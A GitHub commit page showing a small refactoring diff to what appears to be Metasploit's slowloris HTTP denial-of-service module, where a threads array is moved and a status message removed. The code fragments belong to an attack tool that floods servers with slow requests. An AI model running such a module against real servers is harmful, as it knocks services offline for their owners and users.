We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 9457359 commit 6087821Copy full SHA for 6087821
modules/auxiliary/dos/http/slow_loris.rb
@@ -47,12 +47,12 @@ def timeout
47
def run
48
starting_thread = 1
49
header = "GET / HTTP/1.1\r\n"
50
+ threads = []
51
52
while true do
53
ubound = [thread_count].min
54
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
-
55
- threads = []
+
56
1.upto(ubound) do |i|
57
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
58
begin
@@ -66,9 +66,7 @@ def run
66
end
67
68
69
70
threads.each(&:join)
71
- print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
72
starting_thread += ubound
73
74
0 commit comments